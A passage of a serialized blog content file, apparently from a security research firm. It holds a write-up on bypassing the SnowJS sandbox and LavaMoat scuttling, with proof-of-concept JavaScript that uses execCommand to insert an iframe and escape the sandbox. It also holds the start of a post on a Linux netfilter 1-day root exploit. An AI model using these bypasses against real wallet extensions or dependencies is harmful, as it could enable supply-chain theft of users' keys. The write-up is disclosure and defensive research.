window.open('/non_existent');\nw.alert(document.domain)\n",[51460],{"type":22,"tag":114,"props":51461,"children":51462},{"__ignoreMap":7},[51463,51505],{"type":22,"tag":118,"props":51464,"children":51465},{"class":120,"line":121},[51466,51470,51475,51479,51483,51487,51492,51496,51501],{"type":22,"tag":118,"props":51467,"children":51468},{"style":146},[51469],{"type":28,"value":11653},{"type":22,"tag":118,"props":51471,"children":51472},{"style":204},[51473],{"type":28,"value":51474}," w",{"type":22,"tag":118,"props":51476,"children":51477},{"style":210},[51478],{"type":28,"value":837},{"type":22,"tag":118,"props":51480,"children":51481},{"style":204},[51482],{"type":28,"value":33347},{"type":22,"tag":118,"props":51484,"children":51485},{"style":125},[51486],{"type":28,"value":292},{"type":22,"tag":118,"props":51488,"children":51489},{"style":532},[51490],{"type":28,"value":51491},"open",{"type":22,"tag":118,"props":51493,"children":51494},{"style":125},[51495],{"type":28,"value":540},{"type":22,"tag":118,"props":51497,"children":51498},{"style":1866},[51499],{"type":28,"value":51500},"'/non_existent'",{"type":22,"tag":118,"props":51502,"children":51503},{"style":125},[51504],{"type":28,"value":682},{"type":22,"tag":118,"props":51506,"children":51507},{"class":120,"line":142},[51508,51513,51517,51521,51525,51529,51533,51537],{"type":22,"tag":118,"props":51509,"children":51510},{"style":204},[51511],{"type":28,"value":51512},"w",{"type":22,"tag":118,"props":51514,"children":51515},{"style":125},[51516],{"type":28,"value":292},{"type":22,"tag":118,"props":51518,"children":51519},{"style":532},[51520],{"type":28,"value":34636},{"type":22,"tag":118,"props":51522,"children":51523},{"style":125},[51524],{"type":28,"value":540},{"type":22,"tag":118,"props":51526,"children":51527},{"style":204},[51528],{"type":28,"value":34646},{"type":22,"tag":118,"props":51530,"children":51531},{"style":125},[51532],{"type":28,"value":292},{"type":22,"tag":118,"props":51534,"children":51535},{"style":204},[51536],{"type":28,"value":34656},{"type":22,"tag":118,"props":51538,"children":51539},{"style":125},[51540],{"type":28,"value":3665},{"type":22,"tag":31,"props":51542,"children":51543},{},[51544,51546,51551],{"type":28,"value":51545},"This opens a new window with a new JS Realm (another ",{"type":22,"tag":114,"props":51547,"children":51549},{"className":51548},[],[51550],{"type":28,"value":39358},{"type":28,"value":51552}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":22,"tag":31,"props":51554,"children":51555},{},[51556,51558,51565],{"type":28,"value":51557},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":22,"tag":42,"props":51559,"children":51562},{"href":51560,"rel":51561},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[46],[51563],{"type":28,"value":51564},"Metamask implementation",{"type":28,"value":3627},{"type":22,"tag":1289,"props":51567,"children":51569},{"id":51568},"snowjs-attack-surface",[51570],{"type":28,"value":51571},"SnowJS Attack Surface",{"type":22,"tag":31,"props":51573,"children":51574},{},[51575],{"type":28,"value":51576},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":22,"tag":31,"props":51578,"children":51579},{},[51580,51582,51589],{"type":28,"value":51581},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":22,"tag":42,"props":51583,"children":51586},{"href":51584,"rel":51585},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[46],[51587],{"type":28,"value":51588},"hooked inserters",{"type":28,"value":51590}," functions:",{"type":22,"tag":107,"props":51592,"children":51594},{"className":33302,"code":51593,"language":33304,"meta":7,"style":7},"const map = {\n    Range: ['insertNode'],\n    DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n    Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n    Node: ['appendChild', 'insertBefore', 'replaceChild'],\n    Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n    ShadowRoot: ['innerHTML'],\n    HTMLIFrameElement: ['srcdoc'],\n};\n",[51595],{"type":22,"tag":114,"props":51596,"children":51597},{"__ignoreMap":7},[51598,51618,51639,51678,51732,51771,51870,51890,51911],{"type":22,"tag":118,"props":51599,"children":51600},{"class":120,"line":121},[51601,51605,51610,51614],{"type":22,"tag":118,"props":51602,"children":51603},{"style":146},[51604],{"type":28,"value":11653},{"type":22,"tag":118,"props":51606,"children":51607},{"style":204},[51608],{"type":28,"value":51609}," map",{"type":22,"tag":118,"props":51611,"children":51612},{"style":210},[51613],{"type":28,"value":837},{"type":22,"tag":118,"props":51615,"children":51616},{"style":125},[51617],{"type":28,"value":1474},{"type":22,"tag":118,"props":51619,"children":51620},{"class":120,"line":142},[51621,51626,51630,51635],{"type":22,"tag":118,"props":51622,"children":51623},{"style":204},[51624],{"type":28,"value":51625},"    Range:",{"type":22,"tag":118,"props":51627,"children":51628},{"style":125},[51629],{"type":28,"value":24983},{"type":22,"tag":118,"props":51631,"children":51632},{"style":1866},[51633],{"type":28,"value":51634},"'insertNode'",{"type":22,"tag":118,"props":51636,"children":51637},{"style":125},[51638],{"type":28,"value":16245},{"type":22,"tag":118,"props":51640,"children":51641},{"class":120,"line":177},[51642,51647,51651,51656,51660,51665,51669,51674],{"type":22,"tag":118,"props":51643,"children":51644},{"style":204},[51645],{"type":28,"value":51646},"    DocumentFragment:",{"type":22,"tag":118,"props":51648,"children":51649},{"style":125},[51650],{"type":28,"value":24983},{"type":22,"tag":118,"props":51652,"children":51653},{"style":1866},[51654],{"type":28,"value":51655},"'replaceChildren'",{"type":22,"tag":118,"props":51657,"children":51658},{"style":125},[51659],{"type":28,"value":231},{"type":22,"tag":118,"props":51661,"children":51662},{"style":1866},[51663],{"type":28,"value":51664},"'append'",{"type":22,"tag":118,"props":51666,"children":51667},{"style":125},[51668],{"type":28,"value":231},{"type":22,"tag":118,"props":51670,"children":51671},{"style":1866},[51672],{"type":28,"value":51673},"'prepend'",{"type":22,"tag":118,"props":51675,"children":51676},{"style":125},[51677],{"type":28,"value":16245},{"type":22,"tag":118,"props":51679,"children":51680},{"class":120,"line":195},[51681,51686,51690,51694,51698,51702,51706,51710,51714,51719,51723,51728],{"type":22,"tag":118,"props":51682,"children":51683},{"style":204},[51684],{"type":28,"value":51685},"    Document:",{"type":22,"tag":118,"props":51687,"children":51688},{"style":125},[51689],{"type":28,"value":24983},{"type":22,"tag":118,"props":51691,"children":51692},{"style":1866},[51693],{"type":28,"value":51655},{"type":22,"tag":118,"props":51695,"children":51696},{"style":125},[51697],{"type":28,"value":231},{"type":22,"tag":118,"props":51699,"children":51700},{"style":1866},[51701],{"type":28,"value":51664},{"type":22,"tag":118,"props":51703,"children":51704},{"style":125},[51705],{"type":28,"value":231},{"type":22,"tag":118,"props":51707,"children":51708},{"style":1866},[51709],{"type":28,"value":51673},{"type":22,"tag":118,"props":51711,"children":51712},{"style":125},[51713],{"type":28,"value":231},{"type":22,"tag":118,"props":51715,"children":51716},{"style":1866},[51717],{"type":28,"value":51718},"'write'",{"type":22,"tag":118,"props":51720,"children":51721},{"style":125},[51722],{"type":28,"value":231},{"type":22,"tag":118,"props":51724,"children":51725},{"style":1866},[51726],{"type":28,"value":51727},"'writeln'",{"type":22,"tag":118,"props":51729,"children":51730},{"style":125},[51731],{"type":28,"value":16245},{"type":22,"tag":118,"props":51733,"children":51734},{"class":120,"line":244},[51735,51740,51744,51749,51753,51758,51762,51767],{"type":22,"tag":118,"props":51736,"children":51737},{"style":204},[51738],{"type":28,"value":51739},"    Node:",{"type":22,"tag":118,"props":51741,"children":51742},{"style":125},[51743],{"type":28,"value":24983},{"type":22,"tag":118,"props":51745,"children":51746},{"style":1866},[51747],{"type":28,"value":51748},"'appendChild'",{"type":22,"tag":118,"props":51750,"children":51751},{"style":125},[51752],{"type":28,"value":231},{"type":22,"tag":118,"props":51754,"children":51755},{"style":1866},[51756],{"type":28,"value":51757},"'insertBefore'",{"type":22,"tag":118,"props":51759,"children":51760},{"style":125},[51761],{"type":28,"value":231},{"type":22,"tag":118,"props":51763,"children":51764},{"style":1866},[51765],{"type":28,"value":51766},"'replaceChild'",{"type":22,"tag":118,"props":51768,"children":51769},{"style":125},[51770],{"type":28,"value":16245},{"type":22,"tag":118,"props":51772,"children":51773},{"class":120,"line":253},[51774,51779,51783,51788,51792,51797,51801,51806,51810,51815,51819,51824,51828,51832,51836,51841,51845,51849,51853,51858,51862,51866],{"type":22,"tag":118,"props":51775,"children":51776},{"style":204},[51777],{"type":28,"value":51778},"    Element:",{"type":22,"tag":118,"props":51780,"children":51781},{"style":125},[51782],{"type":28,"value":24983},{"type":22,"tag":118,"props":51784,"children":51785},{"style":1866},[51786],{"type":28,"value":51787},"'innerHTML'",{"type":22,"tag":118,"props":51789,"children":51790},{"style":125},[51791],{"type":28,"value":231},{"type":22,"tag":118,"props":51793,"children":51794},{"style":1866},[51795],{"type":28,"value":51796},"'outerHTML'",{"type":22,"tag":118,"props":51798,"children":51799},{"style":125},[51800],{"type":28,"value":231},{"type":22,"tag":118,"props":51802,"children":51803},{"style":1866},[51804],{"type":28,"value":51805},"'insertAdjacentHTML'",{"type":22,"tag":118,"props":51807,"children":51808},{"style":125},[51809],{"type":28,"value":231},{"type":22,"tag":118,"props":51811,"children":51812},{"style":1866},[51813],{"type":28,"value":51814},"'replaceWith'",{"type":22,"tag":118,"props":51816,"children":51817},{"style":125},[51818],{"type":28,"value":231},{"type":22,"tag":118,"props":51820,"children":51821},{"style":1866},[51822],{"type":28,"value":51823},"'insertAdjacentElement'",{"type":22,"tag":118,"props":51825,"children":51826},{"style":125},[51827],{"type":28,"value":231},{"type":22,"tag":118,"props":51829,"children":51830},{"style":1866},[51831],{"type":28,"value":51664},{"type":22,"tag":118,"props":51833,"children":51834},{"style":125},[51835],{"type":28,"value":231},{"type":22,"tag":118,"props":51837,"children":51838},{"style":1866},[51839],{"type":28,"value":51840},"'before'",{"type":22,"tag":118,"props":51842,"children":51843},{"style":125},[51844],{"type":28,"value":231},{"type":22,"tag":118,"props":51846,"children":51847},{"style":1866},[51848],{"type":28,"value":51673},{"type":22,"tag":118,"props":51850,"children":51851},{"style":125},[51852],{"type":28,"value":231},{"type":22,"tag":118,"props":51854,"children":51855},{"style":1866},[51856],{"type":28,"value":51857},"'after'",{"type":22,"tag":118,"props":51859,"children":51860},{"style":125},[51861],{"type":28,"value":231},{"type":22,"tag":118,"props":51863,"children":51864},{"style":1866},[51865],{"type":28,"value":51655},{"type":22,"tag":118,"props":51867,"children":51868},{"style":125},[51869],{"type":28,"value":16245},{"type":22,"tag":118,"props":51871,"children":51872},{"class":120,"line":263},[51873,51878,51882,51886],{"type":22,"tag":118,"props":51874,"children":51875},{"style":204},[51876],{"type":28,"value":51877},"    ShadowRoot:",{"type":22,"tag":118,"props":51879,"children":51880},{"style":125},[51881],{"type":28,"value":24983},{"type":22,"tag":118,"props":51883,"children":51884},{"style":1866},[51885],{"type":28,"value":51787},{"type":22,"tag":118,"props":51887,"children":51888},{"style":125},[51889],{"type":28,"value":16245},{"type":22,"tag":118,"props":51891,"children":51892},{"class":120,"line":318},[51893,51898,51902,51907],{"type":22,"tag":118,"props":51894,"children":51895},{"style":204},[51896],{"type":28,"value":51897},"    HTMLIFrameElement:",{"type":22,"tag":118,"props":51899,"children":51900},{"style":125},[51901],{"type":28,"value":24983},{"type":22,"tag":118,"props":51903,"children":51904},{"style":1866},[51905],{"type":28,"value":51906},"'srcdoc'",{"type":22,"tag":118,"props":51908,"children":51909},{"style":125},[51910],{"type":28,"value":16245},{"type":22,"tag":118,"props":51912,"children":51913},{"class":120,"line":351},[51914],{"type":22,"tag":118,"props":51915,"children":51916},{"style":125},[51917],{"type":28,"value":4277},{"type":22,"tag":31,"props":51919,"children":51920},{},[51921],{"type":28,"value":51922},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":22,"tag":31,"props":51924,"children":51925},{},[51926],{"type":28,"value":51927},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":22,"tag":1289,"props":51929,"children":51931},{"id":51930},"bypassing-snowjs",[51932],{"type":28,"value":51933},"Bypassing SnowJS",{"type":22,"tag":31,"props":51935,"children":51936},{},[51937,51939,51950,51952,51958],{"type":28,"value":51938},"The deprecated ",{"type":22,"tag":42,"props":51940,"children":51943},{"href":51941,"rel":51942},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[46],[51944],{"type":22,"tag":114,"props":51945,"children":51947},{"className":51946},[],[51948],{"type":28,"value":51949},"document.execCommand",{"type":28,"value":51951}," function is used to execute commands inside a ",{"type":22,"tag":114,"props":51953,"children":51955},{"className":51954},[],[51956],{"type":28,"value":51957},"contenteditable",{"type":28,"value":51959}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":22,"tag":107,"props":51961,"children":51964},{"className":51962,"code":51963,"language":34321,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[51965],{"type":22,"tag":114,"props":51966,"children":51967},{"__ignoreMap":7},[51968],{"type":22,"tag":118,"props":51969,"children":51970},{"class":120,"line":121},[51971,51975,51979,51983,51987,51992,51997,52002,52007,52011],{"type":22,"tag":118,"props":51972,"children":51973},{"style":34314},[51974],{"type":28,"value":559},{"type":22,"tag":118,"props":51976,"children":51977},{"style":146},[51978],{"type":28,"value":33285},{"type":22,"tag":118,"props":51980,"children":51981},{"style":204},[51982],{"type":28,"value":34394},{"type":22,"tag":118,"props":51984,"children":51985},{"style":125},[51986],{"type":28,"value":282},{"type":22,"tag":118,"props":51988,"children":51989},{"style":1866},[51990],{"type":28,"value":51991},"test",{"type":22,"tag":118,"props":51993,"children":51994},{"style":204},[51995],{"type":28,"value":51996}," contenteditable",{"type":22,"tag":118,"props":51998,"children":51999},{"style":204},[52000],{"type":28,"value":52001}," autofocus",{"type":22,"tag":118,"props":52003,"children":52004},{"style":34314},[52005],{"type":28,"value":52006},">\u003C/",{"type":22,"tag":118,"props":52008,"children":52009},{"style":146},[52010],{"type":28,"value":33285},{"type":22,"tag":118,"props":52012,"children":52013},{"style":34314},[52014],{"type":28,"value":8002},{"type":22,"tag":31,"props":52016,"children":52017},{},[52018,52020,52026,52028,52033],{"type":28,"value":52019},"After inserting this element to a page, it is possible to use ",{"type":22,"tag":114,"props":52021,"children":52023},{"className":52022},[],[52024],{"type":28,"value":52025},"insertHTML",{"type":28,"value":52027}," command of ",{"type":22,"tag":114,"props":52029,"children":52031},{"className":52030},[],[52032],{"type":28,"value":51949},{"type":28,"value":52034}," to add a non-sandboxed iframe.",{"type":22,"tag":107,"props":52036,"children":52038},{"className":33302,"code":52037,"language":33304,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[52039],{"type":22,"tag":114,"props":52040,"children":52041},{"__ignoreMap":7},[52042],{"type":22,"tag":118,"props":52043,"children":52044},{"class":120,"line":121},[52045,52049,52053,52058,52062,52067,52071,52075,52079,52084],{"type":22,"tag":118,"props":52046,"children":52047},{"style":204},[52048],{"type":28,"value":34646},{"type":22,"tag":118,"props":52050,"children":52051},{"style":125},[52052],{"type":28,"value":292},{"type":22,"tag":118,"props":52054,"children":52055},{"style":532},[52056],{"type":28,"value":52057},"execCommand",{"type":22,"tag":118,"props":52059,"children":52060},{"style":125},[52061],{"type":28,"value":540},{"type":22,"tag":118,"props":52063,"children":52064},{"style":1866},[52065],{"type":28,"value":52066},"'insertHTML'",{"type":22,"tag":118,"props":52068,"children":52069},{"style":125},[52070],{"type":28,"value":231},{"type":22,"tag":118,"props":52072,"children":52073},{"style":146},[52074],{"type":28,"value":10179},{"type":22,"tag":118,"props":52076,"children":52077},{"style":125},[52078],{"type":28,"value":231},{"type":22,"tag":118,"props":52080,"children":52081},{"style":1866},[52082],{"type":28,"value":52083},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":22,"tag":118,"props":52085,"children":52086},{"style":125},[52087],{"type":28,"value":682},{"type":22,"tag":1289,"props":52089,"children":52091},{"id":52090},"impact-on-lavamoat-scuttling",[52092],{"type":28,"value":52093},"Impact On Lavamoat Scuttling",{"type":22,"tag":31,"props":52095,"children":52096},{},[52097],{"type":28,"value":52098},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":22,"tag":31,"props":52100,"children":52101},{},[52102,52104,52109,52111,52116],{"type":28,"value":52103},"For the exploit, the only used functions are in ",{"type":22,"tag":114,"props":52105,"children":52107},{"className":52106},[],[52108],{"type":28,"value":34646},{"type":28,"value":52110}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":22,"tag":114,"props":52112,"children":52114},{"className":52113},[],[52115],{"type":28,"value":39358},{"type":28,"value":52117}," object.",{"type":22,"tag":31,"props":52119,"children":52120},{},[52121,52123,52128],{"type":28,"value":52122},"Consider this example, which runs a scuttled ",{"type":22,"tag":114,"props":52124,"children":52126},{"className":52125},[],[52127],{"type":28,"value":34636},{"type":28,"value":27411},{"type":22,"tag":107,"props":52130,"children":52132},{"className":33302,"code":52131,"language":33304,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[52133],{"type":22,"tag":114,"props":52134,"children":52135},{"__ignoreMap":7},[52136,52172,52209,52252],{"type":22,"tag":118,"props":52137,"children":52138},{"class":120,"line":121},[52139,52143,52147,52151,52155,52159,52163,52168],{"type":22,"tag":118,"props":52140,"children":52141},{"style":204},[52142],{"type":28,"value":34646},{"type":22,"tag":118,"props":52144,"children":52145},{"style":125},[52146],{"type":28,"value":292},{"type":22,"tag":118,"props":52148,"children":52149},{"style":204},[52150],{"type":28,"value":34338},{"type":22,"tag":118,"props":52152,"children":52153},{"style":125},[52154],{"type":28,"value":292},{"type":22,"tag":118,"props":52156,"children":52157},{"style":204},[52158],{"type":28,"value":36912},{"type":22,"tag":118,"props":52160,"children":52161},{"style":210},[52162],{"type":28,"value":837},{"type":22,"tag":118,"props":52164,"children":52165},{"style":1866},[52166],{"type":28,"value":52167}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":22,"tag":118,"props":52169,"children":52170},{"style":125},[52171],{"type":28,"value":801},{"type":22,"tag":118,"props":52173,"children":52174},{"class":120,"line":142},[52175,52179,52183,52187,52191,52196,52200,52205],{"type":22,"tag":118,"props":52176,"children":52177},{"style":204},[52178],{"type":28,"value":34646},{"type":22,"tag":118,"props":52180,"children":52181},{"style":125},[52182],{"type":28,"value":292},{"type":22,"tag":118,"props":52184,"children":52185},{"style":532},[52186],{"type":28,"value":36937},{"type":22,"tag":118,"props":52188,"children":52189},{"style":125},[52190],{"type":28,"value":540},{"type":22,"tag":118,"props":52192,"children":52193},{"style":1866},[52194],{"type":28,"value":52195},"'test'",{"type":22,"tag":118,"props":52197,"children":52198},{"style":125},[52199],{"type":28,"value":22702},{"type":22,"tag":118,"props":52201,"children":52202},{"style":532},[52203],{"type":28,"value":52204},"focus",{"type":22,"tag":118,"props":52206,"children":52207},{"style":125},[52208],{"type":28,"value":1098},{"type":22,"tag":118,"props":52210,"children":52211},{"class":120,"line":177},[52212,52216,52220,52224,52228,52232,52236,52240,52244,52248],{"type":22,"tag":118,"props":52213,"children":52214},{"style":204},[52215],{"type":28,"value":34646},{"type":22,"tag":118,"props":52217,"children":52218},{"style":125},[52219],{"type":28,"value":292},{"type":22,"tag":118,"props":52221,"children":52222},{"style":532},[52223],{"type":28,"value":52057},{"type":22,"tag":118,"props":52225,"children":52226},{"style":125},[52227],{"type":28,"value":540},{"type":22,"tag":118,"props":52229,"children":52230},{"style":1866},[52231],{"type":28,"value":52066},{"type":22,"tag":118,"props":52233,"children":52234},{"style":125},[52235],{"type":28,"value":231},{"type":22,"tag":118,"props":52237,"children":52238},{"style":146},[52239],{"type":28,"value":10179},{"type":22,"tag":118,"props":52241,"children":52242},{"style":125},[52243],{"type":28,"value":231},{"type":22,"tag":118,"props":52245,"children":52246},{"style":1866},[52247],{"type":28,"value":52083},{"type":22,"tag":118,"props":52249,"children":52250},{"style":125},[52251],{"type":28,"value":682},{"type":22,"tag":118,"props":52253,"children":52254},{"class":120,"line":195},[52255,52259,52263,52268,52272,52276,52281,52285,52290,52295,52299,52303,52307,52311,52315,52319],{"type":22,"tag":118,"props":52256,"children":52257},{"style":204},[52258],{"type":28,"value":34646},{"type":22,"tag":118,"props":52260,"children":52261},{"style":125},[52262],{"type":28,"value":292},{"type":22,"tag":118,"props":52264,"children":52265},{"style":532},[52266],{"type":28,"value":52267},"getElementsByTagName",{"type":22,"tag":118,"props":52269,"children":52270},{"style":125},[52271],{"type":28,"value":540},{"type":22,"tag":118,"props":52273,"children":52274},{"style":1866},[52275],{"type":28,"value":38671},{"type":22,"tag":118,"props":52277,"children":52278},{"style":125},[52279],{"type":28,"value":52280},")[",{"type":22,"tag":118,"props":52282,"children":52283},{"style":674},[52284],{"type":28,"value":6036},{"type":22,"tag":118,"props":52286,"children":52287},{"style":125},[52288],{"type":28,"value":52289},"].",{"type":22,"tag":118,"props":52291,"children":52292},{"style":204},[52293],{"type":28,"value":52294},"contentWindow",{"type":22,"tag":118,"props":52296,"children":52297},{"style":125},[52298],{"type":28,"value":292},{"type":22,"tag":118,"props":52300,"children":52301},{"style":532},[52302],{"type":28,"value":34636},{"type":22,"tag":118,"props":52304,"children":52305},{"style":125},[52306],{"type":28,"value":540},{"type":22,"tag":118,"props":52308,"children":52309},{"style":204},[52310],{"type":28,"value":34646},{"type":22,"tag":118,"props":52312,"children":52313},{"style":125},[52314],{"type":28,"value":292},{"type":22,"tag":118,"props":52316,"children":52317},{"style":204},[52318],{"type":28,"value":34656},{"type":22,"tag":118,"props":52320,"children":52321},{"style":125},[52322],{"type":28,"value":682},{"type":22,"tag":1289,"props":52324,"children":52326},{"id":52325},"snowjs-patch",[52327],{"type":28,"value":52328},"SnowJS Patch",{"type":22,"tag":31,"props":52330,"children":52331},{},[52332,52334,52341,52343,52350],{"type":28,"value":52333},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":22,"tag":42,"props":52335,"children":52338},{"href":52336,"rel":52337},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[46],[52339],{"type":28,"value":52340},"browser feature within W3C standards",{"type":28,"value":52342},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":22,"tag":42,"props":52344,"children":52347},{"href":52345,"rel":52346},"https://github.com/weizman/Realms-Initialization-Control",[46],[52348],{"type":28,"value":52349},"Here",{"type":28,"value":52351}," is their new proposal.",{"type":22,"tag":23,"props":52353,"children":52355},{"id":52354},"chaining-the-impacts",[52356],{"type":28,"value":52357},"Chaining The Impacts",{"type":22,"tag":31,"props":52359,"children":52360},{},[52361],{"type":28,"value":52362},"We were able to find two vulnerabilities in lavamoat project:",{"type":22,"tag":4029,"props":52364,"children":52365},{},[52366,52371],{"type":22,"tag":68,"props":52367,"children":52368},{},[52369],{"type":28,"value":52370},"Policy File Bypass",{"type":22,"tag":68,"props":52372,"children":52373},{},[52374],{"type":28,"value":52375},"Scuttling Bypass",{"type":22,"tag":31,"props":52377,"children":52378},{},[52379],{"type":28,"value":52380},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":22,"tag":31,"props":52382,"children":52383},{},[52384],{"type":28,"value":52385},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":22,"tag":23,"props":52387,"children":52388},{"id":30872},[52389],{"type":28,"value":20914},{"type":22,"tag":31,"props":52391,"children":52392},{},[52393],{"type":28,"value":52394},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":22,"tag":33285,"props":52396,"children":52397},{"style":33287},[52398],{"type":22,"tag":5928,"props":52399,"children":52402},{"src":52400,"alt":52401,"style":33293},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":22,"tag":20388,"props":52404,"children":52406},{"className":52405,"dataFootnotes":7},[20391],[52407,52412],{"type":22,"tag":23,"props":52408,"children":52410},{"className":52409,"id":17455},[20396],[52411],{"type":28,"value":20399},{"type":22,"tag":4029,"props":52413,"children":52414},{},[52415],{"type":22,"tag":68,"props":52416,"children":52417},{"id":32304},[52418,52420,52427,52428],{"type":28,"value":52419},"Excluding SES, which was covered ",{"type":22,"tag":42,"props":52421,"children":52424},{"href":52422,"rel":52423},"https://osec.io/blog/2023-11-01-metamask-snaps",[46],[52425],{"type":28,"value":52426},"in our last article",{"type":28,"value":8467},{"type":22,"tag":42,"props":52429,"children":52431},{"href":32332,"ariaLabel":20502,"className":52430,"dataFootnoteBackref":7},[20504],[52432],{"type":28,"value":20507},{"type":22,"tag":4880,"props":52434,"children":52435},{},[52436],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":52438},[52439,52443,52449,52455,52456,52457],{"id":20923,"depth":142,"text":20926,"children":52440},[52441,52442],{"id":25,"depth":177,"text":29},{"id":49061,"depth":177,"text":49064},{"id":49816,"depth":142,"text":49819,"children":52444},[52445,52446,52447,52448],{"id":50067,"depth":177,"text":50070},{"id":50542,"depth":177,"text":50545},{"id":51199,"depth":177,"text":51202},{"id":51322,"depth":177,"text":51325},{"id":51440,"depth":142,"text":51443,"children":52450},[52451,52452,52453,52454],{"id":51568,"depth":177,"text":51571},{"id":51930,"depth":177,"text":51933},{"id":52090,"depth":177,"text":52093},{"id":52325,"depth":177,"text":52328},{"id":52354,"depth":142,"text":52357},{"id":30872,"depth":142,"text":20914},{"id":17455,"depth":142,"text":20399},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":52462,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":52463,"description":52464,"author":52465,"image":52466,"date":52468,"isFeatured":15,"tags":52469,"onBlogPage":15,"body":52472,"_type":4896,"_id":62851,"_source":4898,"_file":62852,"_stem":62853,"_extension":4901},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":52467,"height":11263,"width":7734},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[52470,52471],"kernal","linux",{"type":19,"children":52473,"toc":62819},[52474,52487,52501,52506,52512,52522,52527,52533,52538,52556,52570,52579,52612,52617,52623,52642,52675,52681,52694,52904,52971,53535,53554,53779,53838,53844,53864,53904,54092,54097,54248,54304,54309,54823,54842,55111,55137,55646,55713,55719,55755,55760,56026,56059,56071,56098,56110,56115,56121,56142,56148,56169,56192,57024,57030,57070,57609,57620,57654,57721,57775,58007,58013,58057,58521,58527,58538,58568,58651,58656,58661,58697,58749,58780,59335,59341,59358,59364,59369,59375,59403,59596,59616,59632,60227,60233,60268,60291,60303,60309,60337,60933,60958,61927,61938,61951,61964,62730,62744,62750,62762,62768,62796,62801,62805,62810,62815],{"type":22,"tag":31,"props":52475,"children":52476},{},[52477,52479,52486],{"type":28,"value":52478},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":22,"tag":42,"props":52480,"children":52483},{"href":52481,"rel":52482},"https://google.github.io/security-research/kernelctf/rules.html",[46],[52484],{"type":28,"value":52485},"KernelCTF VRP",{"type":28,"value":292},{"type":22,"tag":31,"props":52488,"children":52489},{},[52490,52492,52499],{"type":28,"value":52491},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":22,"tag":42,"props":52493,"children":52496},{"href":52494,"rel":52495},"https://github.com/conlonialC",[46],[52497],{"type":28,"value":52498},"lonial con",{"type":28,"value":52500},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":22,"tag":31,"props":52502,"children":52503},{},[52504],{"type":28,"value":52505},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":22,"tag":23,"props":52507,"children":52509},{"id":52508},"the-kernel",[52510],{"type":28,"value":52511},"The kernel",{"type":22,"tag":31,"props":52513,"children":52514},{},[52515,52517],{"type":28,"value":52516},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, 